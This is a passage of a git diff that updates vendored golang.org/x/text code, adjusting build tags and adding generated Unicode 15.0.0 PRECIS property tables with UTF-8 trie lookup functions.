0xe6, haveScript: 0x5b, distance: 0xa}, + 18: {wantLang: 0x461, haveLang: 0x139, wantScript: 0xe9, haveScript: 0x5b, distance: 0xa}, + 19: {wantLang: 0x46f, haveLang: 0x139, wantScript: 0x2c, haveScript: 0x5b, distance: 0xa}, + 20: {wantLang: 0x476, haveLang: 0x3e2, wantScript: 0x5b, haveScript: 0x20, distance: 0xa}, + 21: {wantLang: 0x4b4, haveLang: 0x139, wantScript: 0x5, haveScript: 0x5b, distance: 0xa}, + 22: {wantLang: 0x4bc, haveLang: 0x3e2, wantScript: 0x5b, haveScript: 0x20, distance: 0xa}, + 23: {wantLang: 0x512, haveLang: 0x139, wantScript: 0x3e, haveScript: 0x5b, distance: 0xa}, 24: {wantLang: 0x529, haveLang: 0x529, wantScript: 0x3b, haveScript: 0x3c, distance: 0xf}, 25: {wantLang: 0x529, haveLang: 0x529, wantScript: 0x3c, haveScript: 0x3b, distance: 0x13}, } // Size: 232 bytes @@ -295,4 +295,4 @@ var matchRegion = []regionIntelligibility{ // 15 elements 14: {lang: 0x529, script: 0x3c, group: 0x80, distance: 0x5}, } // Size: 114 bytes -// Total table size 1472 bytes (1KiB); checksum: F86C669 +// Total table size 1473 bytes (1KiB); checksum: 7BB90B5C diff --git a/vendor/golang.org/x/text/secure/precis/tables13.0.0.go b/vendor/golang.org/x/text/secure/precis/tables13.0.0.go index aad68b35ed..7bc1a1629c 100644 --- a/vendor/golang.org/x/text/secure/precis/tables13.0.0.go +++ b/vendor/golang.org/x/text/secure/precis/tables13.0.0.go @@ -1,7 +1,7 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. -//go:build go1.16 -// +build go1.16 +//go:build go1.16 && !go1.21 +// +build go1.16,!go1.21 package precis diff --git a/vendor/golang.org/x/text/secure/precis/tables15.0.0.go b/vendor/golang.org/x/text/secure/precis/tables15.0.0.go new file mode 100644 index 0000000000..48c3227777 --- /dev/null +++ b/vendor/golang.org/x/text/secure/precis/tables15.0.0.go @@ -0,0 +1,4316 @@ +// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. + +//go:build go1.21 +// +build go1.21 + +package precis + +// UnicodeVersion is the Unicode version from which the tables in this package are derived. +const UnicodeVersion = "15.0.0" + +// lookup returns the trie value for the first UTF-8 encoding in s and +// the width in bytes of this encoding. The size will be 0 if s does not +// hold enough bytes to complete the encoding. len(s) must be greater than 0. +func (t *derivedPropertiesTrie) lookup(s []byte) (v uint8, sz int) { + c0 := s[0] + switch { + case c0 < 0x80: // is ASCII + return derivedPropertiesValues[c0], 1 + case c0 < 0xC2: + return 0, 1 // Illegal UTF-8: not a starter, not ASCII. + case c0 < 0xE0: // 2-byte UTF-8 + if len(s) < 2 { + return 0, 0 + } + i := derivedPropertiesIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c1), 2 + case c0 < 0xF0: // 3-byte UTF-8 + if len(s) < 3 { + return 0, 0 + } + i := derivedPropertiesIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = derivedPropertiesIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c2), 3 + case c0 < 0xF8: // 4-byte UTF-8 + if len(s) < 4 { + return 0, 0 + } + i := derivedPropertiesIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = derivedPropertiesIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + o = uint32(i)<<6 + uint32(c2) + i = derivedPropertiesIndex[o] + c3 := s[3] + if c3 < 0x80 || 0xC0 <= c3 { + return 0, 3 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c3), 4 + } + // Illegal rune + return 0, 1 +} + +// lookupUnsafe returns the trie value for the first UTF-8 encoding in s. +// s must start with a full and valid UTF-8 encoded rune. +func (t *derivedPropertiesTrie) lookupUnsafe(s []byte) uint8 { + c0 := s[0] + if c0 < 0x80 { // is ASCII + return derivedPropertiesValues[c0] + } + i := derivedPropertiesIndex[c0] + if c0 < 0xE0 { // 2-byte UTF-8 + return t.lookupValue(uint32(i), s[1]) + } + i = derivedPropertiesIndex[uint32(i)<<6+uint32(s[1])] + if c0 < 0xF0 { // 3-byte UTF-8 + return t.lookupValue(uint32(i), s[2]) + } + i = derivedPropertiesIndex[uint32(i)<<6+uint32(s[2])] + if c0 < 0xF8 { // 4-byte UTF-8 + return t.lookupValue(uint32(i), s[3]) + } + return 0 +} + +// lookupString returns the trie value for the first UTF-8 encoding in s and +// the width in bytes of this encoding. The size will be 0 if s does not +// hold enough bytes to complete the encoding. len(s) must be greater than 0. +func (t *derivedPropertiesTrie) lookupString(s string) (v uint8, sz int) { + c0 := s[0] + switch { + case c0 < 0x80: // is ASCII + return derivedPropertiesValues[c0], 1 + case c0 < 0xC2: + return 0, 1 // Illegal UTF-8: not a starter, not ASCII. + case c0 < 0xE0: // 2-byte UTF-8 + if len(s) < 2 { + return 0, 0 + } + i := derivedPropertiesIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c1), 2 + case c0 < 0xF0: // 3-byte UTF-8 + if len(s) < 3 { + return 0, 0 + } + i := derivedPropertiesIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = derivedPropertiesIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c2), 3 + case c0 < 0xF8: // 4-byte UTF-8 + if len(s) < 4 { + return 0, 0 + } + i := derivedPropertiesIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = derivedPropertiesIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + o = uint32(i)<<6 + uint32(c2) + i = derivedPropertiesIndex[o] + c3 := s[3] + if c3 < 0x80 || 0xC0 <= c3 { + return 0, 3 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c3), 4 + } + // Illegal rune + return 0, 1 +} + +// lookupStringUnsafe returns the trie value for the first UTF-8 encoding in s. +// s must start with a full and valid UTF-8 encoded rune. +func (t *derivedPropertiesTrie) lookupStringUnsafe(s string) uint8 { + c0 := s[0] + if c0 < 0x80 { // is ASCII + return derivedPropertiesValues[c0] + } + i := derivedPropertiesIndex[c0] + if c0 < 0xE0 { // 2-byte UTF-8 + return t.lookupValue(uint32(i), s[1]) + } + i = derivedPropertiesIndex[uint32(i)<<6+uint32(s[1])] + if c0 < 0xF0 { // 3-byte UTF-8 + return t.lookupValue(uint32(i), s[2]) + } + i = derivedPropertiesIndex[uint32(i)<<6+uint32(s[2])] + if c0 < 0xF8 { // 4-byte UTF-8 + return t.lookupValue(uint32(i), s[3]) + } + return 0 +} + +// derivedPropertiesTrie. Total size: 28992 bytes (28.31 KiB). Checksum: 6ba05cbedd26c252. +type derivedPropertiesTrie struct{} + +func newDerivedPropertiesTrie(i int) *derivedPropertiesTrie { + return &derivedPropertiesTrie{} +} + +// lookupValue determines the type of block n and looks up the value for b. +func (t *derivedPropertiesTrie) lookupValue(n uint32, b byte) uint8 { + switch { + default: + return uint8(derivedPropertiesValues[n<<6+uint32(b)]) + } +} + +// derivedPropertiesValues: 373 blocks, 23872 entries, 23872 bytes +// The third block is the zero block. +var derivedPropertiesValues = [23872]uint8{ + // Block 0x0, offset 0x0 + 0x00: 0x0040, 0x01: 0x0040, 0x02: 0x0040, 0x03: 0x0040, 0x04: 0x0040, 0x05: 0x0040, + 0x06: 0x0040, 0x07: 0x0040, 0x08: 0x0040, 0x09: 0x0040, 0x0a: 0x0040, 0x0b: 0x0040, + 0x0c: 0x0040, 0x0d: 0x0040, 0x0e: 0x0040, 0x0f: 0x0040, 0x10: 0x0040, 0x11: 0x0040, + 0x12: 0x0040, 0x13: 0x0040, 0x14: 0x0040, 0x15: 0x0040, 0x16: 0x0040, 0x17: 0x0040, + 0x18: 0x0040, 0x19: 0x0040, 0x1a: 0x0040, 0x1b: 0x0040, 0x1c: 0x0040, 0x1d: 0x0040, + 0x1e: 0x0040, 0x1f: 0x0040, 0x20: 0x0080, 0x21: 0x00c0, 0x22: 0x00c0, 0x23: 0x00c0, + 0x24: 0x00c0, 0x25: 0x00c0, 0x26: 0x00c0, 0x27: 0x00c0, 0x28: 0x00c0, 0x29: 0x00c0, + 0x2a: 0x00c0, 0x2b: 0x00c0, 0x2c: 0x00c0, 0x2d: 0x00c0, 0x2e: 0x00c0, 0x2f: 0x00c0, + 0x30: 0x00c0, 0x31: 0x00c0, 0x32: 0x00c0, 0x33: 0x00c0, 0x34: 0x00c0, 0x35: 0x00c0, + 0x36: 0x00c0, 0x37: 0x00c0, 0x38: 0x00c0, 0x39: 0x00c0, 0x3a: 0x00c0, 0x3b: 0x00c0, + 0x3c: 0x00c0, 0x3d: 0x00c0, 0x3e: 0x00c0, 0x3f: 0x00c0, + // Block 0x1, offset 0x40 + 0x40: 0x00c0, 0x41: 0x00c0, 0x42: 0x00c0, 0x43: 0x00c0, 0x44: 0x00c0, 0x45: 0x00c0, + 0x46: 0x00c0, 0x47: 0x00c0, 0x48: 0x00c0, 0x49: 0x00c0, 0x4a: 0x00c0, 0x4b: 0x00c0, + 0x4c: 0x00c0, 0x4d: 0x00c0, 0x4e: 0x00c0, 0x4f: 0x00c0, 0x50: 0x00c0, 0x51: 0x00c0, + 0x52: 0x00c0, 0x53: 0x00c0, 0x54: 0x00c0, 0x55: 0x00c0, 0x56: 0x00c0, 0x57: 0x00c0, + 0x58: 0x00c0, 0x59: 0x00c0, 0x5a: 0x00c0, 0x5b: 0x00c0, 0x5c: 0x00c0, 0x5d: 0x00c0, + 0x5e: 0x00c0, 0x5f: 0x00c0, 0x60: 0x00c0, 0x61: 0x00c0, 0x62: 0x00c0, 0x63: 0x00c0, + 0x64: 0x00c0, 0x65: 0x00c0, 0x66: 0x00c0, 0x67: 0x00c0, 0x68: 0x00c0, 0x69: 0x00c0, + 0x6a: 0x00c0, 0x6b: 0x00c0, 0x6c: 0x00c7, 0x6d: 0x00c0, 0x6e: 0x00c0, 0x6f: 0x00c0, + 0x70: 0x00c0, 0x71: 0x00c0, 0x72: 0x00c0, 0x73: 0x00c0, 0x74: 0x00c0, 0x75: 0x00c0, + 0x76: 0x00c0, 0x77: 0x00c0, 0x78: 0x00c0, 0x79: 0x00c0, 0x7a: 0x00c0, 0x7b: 0x00c0, + 0x7c: 0x00c0, 0x7d: 0x00c0, 0x7e: 0x00c0, 0x7f: 0x0040, + // Block 0x2, offset 0x80 + // Block 0x3, offset 0xc0 + 0xc0: 0x0040, 0xc1: 0x0040, 0xc2: 0x0040, 0xc3: 0x0040, 0xc4: 0x0040, 0xc5: 0x0040, + 0xc6: 0x0040, 0xc7: 0x0040, 0xc8: 0x0040, 0xc9: 0x0040, 0xca: 0x0040, 0xcb: 0x0040, + 0xcc: 0x0040, 0xcd: 0x0040, 0xce: 0x0040, 0xcf: 0x0040, 0xd0: 0x0040, 0xd1: 0x0040, + 0xd2: 0x0040, 0xd3: 0x0040, 0xd4: 0x0040, 0xd5: 0x0040, 0xd6: 0x0040, 0xd7: 0x0040, + 0xd8: 0x0040, 0xd9: 0x0040, 0xda: 0x0040, 0xdb: 0x0040, 0xdc: 0x0040, 0xdd: 0x0040, + 0xde: 0x0040, 0xdf: 0x0040, 0xe0: 0x0080, 0xe1: 0x0080, 0xe2: 0x0080, 0xe3: 0x0080, + 0xe4: 0x0080, 0xe5: 0x0080, 0xe6: 0x0080, 0xe7: 0x0080, 0xe8: 0x0080, 0xe9: 0x0080, + 0xea: 0x0080, 0xeb: 0x0080, 0xec: 0x0080, 0xed: 0x0040, 0xee: 0x0080, 0xef: 0x0080, + 0xf0: 0x0080, 0xf1: 0x0080, 0xf2: 0x0080, 0xf3: 0x0080, 0xf4: 0x0080, 0xf5: 0x0080, + 0xf6: 0x0080, 0xf7: 0x004f, 0xf8: 0x0080, 0xf9: 0x0080, 0xfa: 0x0080, 0xfb: 0x0080, + 0xfc: 0x0080, 0xfd: 0x0080, 0xfe: 0x0080, 0xff: 0x0080, + // Block 0x4, offset 0x100 + 0x100: 0x00c0, 0x101: 0x00c0, 0x102: 0x00c0, 0x103: 0x00c0, 0x104: 0x00c0, 0x105: 0x00c0, + 0x106: 0x00c0, 0x107: 0x00c0, 0x108: 0x00c0, 0x109: 0x00c0, 0x10a: 0x00c0, 0x10b: 0x00c0, + 0x10c: 0x00c0, 0x10d: 0x00c0, 0x10e: 0x00c0, 0x10f: 0x00c0, 0x110: 0x00c0, 0x111: 0x00c0, + 0x112: 0x00c0, 0x113: 0x00c0, 0x114: 0x00c0, 0x115: 0x00c0, 0x116: 0x00c0, 0x117: 0x0080, + 0x118: 0x00c0, 0x119: 0x00c0, 0x11a: 0x00c0, 0x11b: 0x00c0, 0x11c: 0x00c0, 0x11d: 0x00c0, + 0x11e: 0x00c0, 0x11f: 0x00c0, 0x120: 0x00c0, 0x121: 0x00c0, 0x122: 0x00c0, 0x123: 0x00c0, + 0x124: 0x00c0, 0x125: 0x00c0, 0x126: 0x00c0, 0x127: 0x00c0, 0x128: 0x00c0, 0x129: 0x00c0, + 0x12a: 0x00c0, 0x12b: 0x00c0, 0x12c: 0x00c0, 0x12d: 0x00c0, 0x12e: 0x00c0, 0x12f: 0x00c0, + 0x130: 0x00c0, 0x131: 0x00c0, 0x132: 0x00c0, 0x133: 0x00c0, 0x134: 0x00c0, 0x135: 0x00c0, + 0x136: 0x00c0, 0x137: 0x0080, 0x138: 0x00c0, 0x139: 0x00c0, 0x13a: 0x00c0, 0x13b: 0x00c0, + 0x13c: 0x00c0, 0x13d: 0x00c0, 0x13e: 0x00c0, 0x13f: 0x00c0, + // Block 0x5, offset 0x140 + 0x140: 0x00c0, 0x141: 0x00c0, 0x142: 0x00c0, 0x143: 0x00c0, 0x144: 0x00c0, 0x145: 0x00c0, + 0x146: 0x00c0, 0x147: 0x00c0, 0x148: 0x00c0, 0x149: 0x00c0, 0x14a: 0x00c0, 0x14b: 0x00c0, + 0x14c: 0x00c0, 0x14d: 0x00c0, 0x14e: 0x00c0, 0x14f: 0x00c0, 0x150: 0x00c0, 0x151: 0x00c0, + 0x152: 0x00c0, 0x153: 0x00c0, 0x154: 0x00c0, 0x155: 0x00c0, 0x156: 0x00c0, 0x157: 0x00c0, + 0x158: 0x00c0, 0x159: 0x00c0, 0x15a: 0x00c0, 0x15b: 0x00c0, 0x15c: 0x00c0, 0x15d: 0x00c0, + 0x15e: 0x00c0, 0x15f: 0x00c0, 0x160: 0x00c0, 0x161: 0x00c0, 0x162: 0x00c0, 0x163: 0x00c0, + 0x164: 0x00c0, 0x165: 0x00c0, 0x166: 0x00c0, 0x167: 0x00c0, 0x168: 0x00c0, 0x169: 0x00c0, + 0x16a: 0x00c0, 0x16b: 0x00c0, 0x16c: 0x00c0, 0x16d: 0x00c0, 0x16e: 0x00c0, 0x16f: 0x00c0, + 0x170: 0x00c0, 0x171: 0x00c0, 0x172: 0x0080, 0x173: 0x0080, 0x174: 0x00c0, 0x175: 0x00c0, + 0x176: 0x00c0, 0x177: 0x00c0, 0x178: 0x00c0, 0x179: 0x00c0, 0x17a: 0x00c0, 0x17b: 0x00c0, + 0x17c: 0x00c0, 0x17d: 0x00c0, 0x17e: 0x00c0, 0x17f: 0x0080, + // Block 0x6, offset 0x180 + 0x180: 0x0080, 0x181: 0x00c0, 0x182: 0x00c0, 0x183: 0x00c0, 0x184: 0x00c0, 0x185: 0x00c0, + 0x186: 0x00c0, 0x187: 0x00c0, 0x188: 0x00c0, 0x189: 0x0080, 0x18a: 0x00c0, 0x18b: 0x00c0, + 0x18c: 0x00c0, 0x18d: 0x00c0, 0x18e: 0x00c0, 0x18f: 0x00c0, 0x190: 0x00c0, 0x191: 0x00c0, + 0x192: 0x00c0, 0x193: 0x00c0, 0x194: 0x00c0, 0x195: 0x00c0, 0x196: 0x00c0, 0x197: 0x00c0, + 0x198: 0x00c0, 0x199: 0x00c0, 0x19a: 0x00c0, 0x19b: 0x00c0, 0x19c: 0x00c0, 0x19d: 0x00c0, + 0x19e: 0x00c0, 0x19f: 0x00c0, 0x1a0: 0x00c0, 0x1a1: 0x00c0, 0x1a2: 0x00c0, 0x1a3: 0x00c0, + 0x1a4: 0x00c0, 0x1a5: 0x00c0, 0x1a6: 0x00c0, 0x1a7: 0x00c0, 0x1a8: 0x00c0, 0x1a9: 0x00c0, + 0x1aa: 0x00c0, 0x1ab: 0x00c0, 0x1ac: 0x00c0, 0x1ad: 0x00c0, 0x1ae: 0x00c0, 0x1af: 0x00c0, + 0x1b0: 0x00c0, 0x1b1: 0x00c0, 0x1b2: 0x00c0, 0x1b3: 0x00c0, 0x1b4: 0x00c0, 0x1b5: 0x00c0, + 0x1b6: 0x00c0, 0x1b7: 0x00c0, 0x1b8: 0x00c0, 0x1b9: 0x00c0, 0x1ba: 0x00c0, 0x1bb: 0x00c0, + 0x1bc: 0x00c0, 0x1bd: 0x00c0, 0x1be: 0x00c0, 0x1bf: 0x0080, + // Block 0x7, offset 0x1c0 + 0x1c0: 0x00c0, 0x1c1: 0x00c0, 0x1c2: 0x00c0, 0x1c3: 0x00c0, 0x1c4: 0x00c0, 0x1c5: 0x00c0, + 0x1c6: 0x00c0, 0x1c7: 0x00c0, 0x1c8: 0x00c0, 0x1c9: 0x00c0, 0x1ca: 0x00c0, 0x1cb: 0x00c0, + 0x1cc: 0x00c0, 0x1cd: 0x00c0, 0x1ce: 0x00c0, 0x1cf: 0x00c0, 0x1d0: 0x00c0, 0x1d1: 0x00c0, + 0x1d2: 0x00c0, 0x1d3: 0x00c0, 0x1d4: 0x00c0, 0x1d5: 0x00c0, 0x1d6: 0x00c0, 0x1d7: 0x00c0, + 0x1d8: 0x00c0, 0x1d9: 0x00c0, 0x1da: 0x00c0, 0x1db: 0x00c0, 0x1dc: 0x00c0, 0x1dd: 0x00c0, + 0x1de: 0x00c0, 0x1df: 0x00c0, 0x1e0: 0x00c0, 0x1e1: 0x00c0, 0x1e2: 0x00c0, 0x1e3: 0x00c0, + 0x1e4: 0x00c0, 0x1e5: 0x00c0, 0x1e6: 0x00c0, 0x1e7: 0x00c0, 0x1e8: 0x00c0, 0x1e9: 0x00c0, + 0x1ea: 0x00c0, 0x1eb: 0x00c0, 0x1ec: 0x00c0, 0x1ed: 0x00c0, 0x1ee: 0x00c0, 0x1ef: 0x00c0, + 0x1f0: 0x00c0, 0x1f1: 0x00c0, 0x1f2: 0x00c0, 0x1f3: 0x00c0, 0x1f4: 0x00c0, 0x1f5: 0x00c0, + 0x1f6: 0x00c0, 0x1f7: 0x00c0, 0x1f8: 0x00c0, 0x1f9: 0x00c0, 0x1fa: 0x00c0, 0x1fb: 0x00c0, + 0x1fc: 0x00c0, 0x1fd: 0x00c0, 0x1fe: 0x00c0, 0x1ff: 0x00c0, + // Block 0x8, offset 0x200 + 0x200: 0x00c0, 0x201: 0x00c0, 0x202: 0x00c0, 0x203: 0x00c0, 0x204: 0x0080, 0x205: 0x0080, + 0x206: 0x0080, 0x207: 0x0080, 0x208: 0x0080, 0x209: 0x0080, 0x20a: 0x0080, 0x20b: 0x0080, + 0x20c: 0x0080, 0x20d: 0x00c0, 0x20e: 0x00c0, 0x20f: 0x00c0, 0x210: 0x00c0, 0x211: 0x00c0, + 0x212: 0x00c0, 0x213: 0x00c0, 0x214: 0x00c0, 0x215: 0x00c0, 0x216: 0x00c0, 0x217: 0x00c0, + 0x218: 0x00c0, 0x219: 0x00c0, 0x21a: 0x00c0, 0x21b: 0x00c0, 0x21c: 0x00c0, 0x21d: 0x00c0, + 0x21e: 0x00c0, 0x21f: 0x00c0, 0x220: 0x00c0, 0x221: 0x00c0, 0x222: 0x00c0, 0x223: 0x00c0, + 0x224: 0x00c0, 0x225: 0x00c0, 0x226: 0x00c0, 0x227: 0x00c0, 0x228: 0x00c0, 0x229: 0x00c0, + 0x22a: 0x00c0, 0x22b: 0x00c0, 0x22c: 0x00c0, 0x22d: 0x00c0, 0x22e: 0x00c0, 0x22f: 0x00c0, + 0x230: 0x00c0, 0x231: 0x0080, 0x232: 0x0080, 0x233: 0x0080, 0x234: 0x00c0, 0x235: 0x00c0, + 0x236: 0x00c0, 0x237: 0x00c0, 0x238: 0x00c0, 0x239: 0x00c0, 0x23a: 0x00c0, 0x23b: 0x00c0, + 0x23c: 0x00c0, 0x23d: 0x00c0, 0x23e: 0x00c0, 0x23f: 0x00c0, + // Block 0x9, offset 0x240 + 0x240: 0x00c0, 0x241: 0x00c0, 0x242: 0x00c0, 0x243: 0x00c0, 0x244: 0x00c0, 0x245: 0x00c0, + 0x246: 0x00c0, 0x247: 0x00c0, 0x248: 0x00c0, 0x249: 0x00c0, 0x24a: 0x00c0, 0x24b: 0x00c0, + 0x24c: 0x00c0, 0x24d: 0x00c0, 0x24e: 0x00c0, 0x24f: 0x00c0, 0x250: 0x00c0, 0x251: 0x00c0, + 0x252: 0x00c0, 0x253: 0x00c0, 0x254: 0x00c0, 0x255: 0x00c0, 0x256: 0x00c0, 0x257: 0x00c0, + 0x258: 0x00c0, 0x259: 0x00c0, 0x25a: 0x00c0, 0x25b: 0x00c0, 0x25c: 0x00c0, 0x25d: 0x00c0, + 0x25e: 0x00c0, 0x25f: 0x00c0, 0x260: 0x00c0, 0x261: 0x00c0, 0x262: 0x00c0, 0x263: 0x00c0, + 0x264: 0x00c0, 0x265: 0x00c0, 0x266: 0x00c0, 0x267: 0x00c0, 0x268: 0x00c0, 0x269: 0x00c0, + 0x26a: 0x00c0, 0x26b: 0x00c0, 0x26c: 0x00c0, 0x26d: 0x00c0, 0x26e: 0x00c0, 0x26f: 0x00c0, + 0x270: 0x0080, 0x271: 0x0080, 0x272: 0x0080, 0x273: 0x0080, 0x274: 0x0080, 0x275: 0x0080, + 0x276: 0x0080, 0x277: 0x0080, 0x278: 0x0080, 0x279: 0x00c0, 0x27a: 0x00c0, 0x27b: 0x00c0, + 0x27c: 0x00c0, 0x27d: 0x00c0, 0x27e: 0x00c0, 0x27f: 0x00c0, + // Block 0xa, offset 0x280 + 0x280: 0x00c0, 0x281: 0x00c0, 0x282: 0x0080, 0x283: 0x0080, 0x284: 0x0080, 0x285: 0x0080, + 0x286: 0x00c0, 0x287: 0x00c0, 0x288: 0x00c0, 0x289: 0x00c0, 0x28a: 0x00c0, 0x28b: 0x00c0, + 0x28c: 0x00c0, 0x28d: 0x00c0, 0x28e: 0x00c0, 0x28f: 0x00c0, 0x290: 0x00c0, 0x291: 0x00c0, + 0x292: 0x0080, 0x293: 0x0080, 0x294: 0x0080, 0x295: 0x0080, 0x296: 0x0080, 0x297: 0x0080, + 0x298: 0x0080, 0x299: 0x0080, 0x29a: 0x0080, 0x29b: 0x0080, 0x29c: 0x0080, 0x29d: 0x0080, + 0x29e: 0x0080, 0x29f: 0x0080, 0x2a0: 0x0080, 0x2a1: 0x0080, 0x2a2: 0x0080, 0x2a3: 0x0080, + 0x2a4: 0x0080, 0x2a5: 0x0080, 0x2a6: 0x0080, 0x2a7: 0x0080, 0x2a8: 0x0080, 0x2a9: 0x0080, + 0x2aa: 0x0080, 0x2ab: 0x0080, 0x2ac: 0x00c0, 0x2ad: 0x0080, 0x2ae: 0x00c0, 0x2af: 0x0080, + 0x2b0: 0x0080, 0x2b1: 0x0080, 0x2b2: 0x0080, 0x2b3: 0x0080, 0x2b4: 0x0080, 0x2b5: 0x0080, + 0x2b6: 0x0080, 0x2b7: 0x0080, 0x2b8: 0x0080, 0x2b9: 0x0080, 0x2ba: 0x0080, 0x2bb: 0x0080, + 0x2bc: 0x0080, 0x2bd: 0x0080, 0x2be: 0x0080, 0x2bf: 0x0080, + // Block 0xb, offset 0x2c0 + 0x2c0: 0x00c3, 0x2c1: 0x00c3, 0x2c2: 0x00c3, 0x2c3: 0x00c3, 0x2c4: 0x00c3, 0x2c5: 0x00c3, + 0x2c6: 0x00c3, 0x2c7: 0x00c3, 0x2c8: 0x00c3, 0x2c9: 0x00c3, 0x2ca: 0x00c3, 0x2cb: 0x00c3, + 0x2cc: 0x00c3, 0x2cd: 0x00c3, 0x2ce: 0x00c3, 0x2cf: 0x00c3, 0x2d0: 0x00c3, 0x2d1: 0x00c3, + 0x2d2: 0x00c3, 0x2d3: 0x00c3, 0x2d4: 0x00c3, 0x2d5: 0x00c3, 0x2d6: 0x00c3, 0x2d7: 0x00c3, + 0x2d8: 0x00c3, 0x2d9: 0x00c3, 0x2da: 0x00c3, 0x2db: 0x00c3, 0x2dc: 0x00c3, 0x2dd: 0x00c3, + 0x2de: 0x00c3, 0x2df: 0x00c3, 0x2e0: 0x00c3, 0x2e1: 0x00c3, 0x2e2: 0x00c3, 0x2e3: 0x00c3, + 0x2e4: 0x00c3, 0x2e5: 0x00c3, 0x2e6: 0x00c3, 0x2e7: 0x00c3, 0x2e8: 0x00c3, 0x2e9: 0x00c3, + 0x2ea: 0x00c3, 0x2eb: 0x00c3, 0x2ec: 0x00c3, 0x2ed: 0x00c3, 0x2ee: 0x00c3, 0x2ef: 0x00c3, + 0x2f0: 0x00c3, 0x2f1: 0x00c3, 0x2f2: 0x00c3, 0x2f3: 0x00c3, 0x2f4: 0x00c3, 0x2f5: 0x00c3, + 0x2f6: 0x00c3, 0x2f7: 0x00c3, 0x2f8: 0x00c3, 0x2f9: 0x00c3, 0x2fa: 0x00c3, 0x2fb: 0x00c3, + 0x2fc: 0x00c3, 0x2fd: 0x00c3, 0x2fe: 0x00c3, 0x2ff: 0x00c3, + // Block 0xc, offset 0x300 + 0x300: 0x0083, 0x301: 0x0083, 0x302: 0x00c3, 0x303: 0x0083, 0x304: 0x0083, 0x305: 0x00c3, + 0x306: 0x00c3, 0x307: 0x00c3, 0x308: 0x00c3, 0x309: 0x00c3, 0x30a: 0x00c3, 0x30b: 0x00c3, + 0x30c: 0x00c3, 0x30d: 0x00c3, 0x30e: 0x00c3, 0x30f: 0x0040, 0x310: 0x00c3, 0x311: 0x00c3, + 0x312: 0x00c3, 0x313: 0x00c3, 0x314: 0x00c3, 0x315: 0x00c3, 0x316: 0x00c3, 0x317: 0x00c3, + 0x318: 0x00c3, 0x319: 0x00c3, 0x31a: 0x00c3, 0x31b: 0x00c3, 0x31c: 0x00c3, 0x31d: 0x00c3, + 0x31e: 0x00c3, 0x31f: 0x00c3, 0x320: 0x00c3, 0x321: 0x00c3, 0x322: 0x00c3, 0x323: 0x00c3, + 0x324: 0x00c3, 0x325: 0x00c3, 0x326: 0x00c3, 0x327: 0x00c3, 0x328: 0x00c3, 0x329: 0x00c3, + 0x32a: 0x00c3, 0x32b: 0x00c3, 0x32c: 0x00c3, 0x32d: 0x00c3, 0x32e: 0x00c3, 0x32f: 0x00c3, + 0x330: 0x00c8, 0x331: 0x00c8, 0x332: 0x00c8, 0x333: 0x00c8, 0x334: 0x0080, 0x335: 0x0050, + 0x336: 0x00c8, 0x337: 0x00c8, 0x33a: 0x0088, 0x33b: 0x00c8, + 0x33c: 0x00c8, 0x33d: 0x00c8, 0x33e: 0x0080, 0x33f: 0x00c8, + // Block 0xd, offset 0x340 + 0x344: 0x0088, 0x345: 0x0080, + 0x346: 0x00c8, 0x347: 0x0080, 0x348: 0x00c8, 0x349: 0x00c8, 0x34a: 0x00c8, + 0x34c: 0x00c8, 0x34e: 0x00c8, 0x34f: 0x00c8, 0x350: 0x00c8, 0x351: 0x00c8, + 0x352: 0x00c8, 0x353: 0x00c8, 0x354: 0x00c8, 0x355: 0x00c8, 0x356: 0x00c8, 0x357: 0x00c8, + 0x358: 0x00c8, 0x359: 0x00c8, 0x35a: 0x00c8, 0x35b: 0x00c8, 0x35c: 0x00c8, 0x35d: 0x00c8, + 0x35e: 0x00c8, 0x35f: 0x00c8, 0x360: 0x00c8, 0x361: 0x00c8, 0x363: 0x00c8, + 0x364: 0x00c8, 0x365: 0x00c8, 0x366: 0x00c8, 0x367: 0x00c8, 0x368: 0x00c8, 0x369: 0x00c8, + 0x36a: 0x00c8, 0x36b: 0x00c8, 0x36c: 0x00c8, 0x36d: 0x00c8, 0x36e: 0x00c8, 0x36f: 0x00c8, + 0x370: 0x00c8, 0x371: 0x00c8, 0x372: 0x00c8, 0x373: 0x00c8, 0x374: 0x00c8, 0x375: 0x00c8, + 0x376: 0x00c8, 0x377: 0x00c8, 0x378: 0x00c8, 0x379: 0x00c8, 0x37a: 0x00c8, 0x37b: 0x00c8, + 0x37c: 0x00c8, 0x37d: 0x00c8, 0x37e: 0x00c8, 0x37f: 0x00c8, + // Block 0xe, offset 0x380 + 0x380: 0x00c8, 0x381: 0x00c8, 0x382: 0x00c8, 0x383: 0x00c8, 0x384: 0x00c8, 0x385: 0x00c8, + 0x386: 0x00c8, 0x387: 0x00c8, 0x388: 0x00c8, 0x389: 0x00c8, 0x38a: 0x00c8, 0x38b: 0x00c8, + 0x38c: 0x00c8, 0x38d: 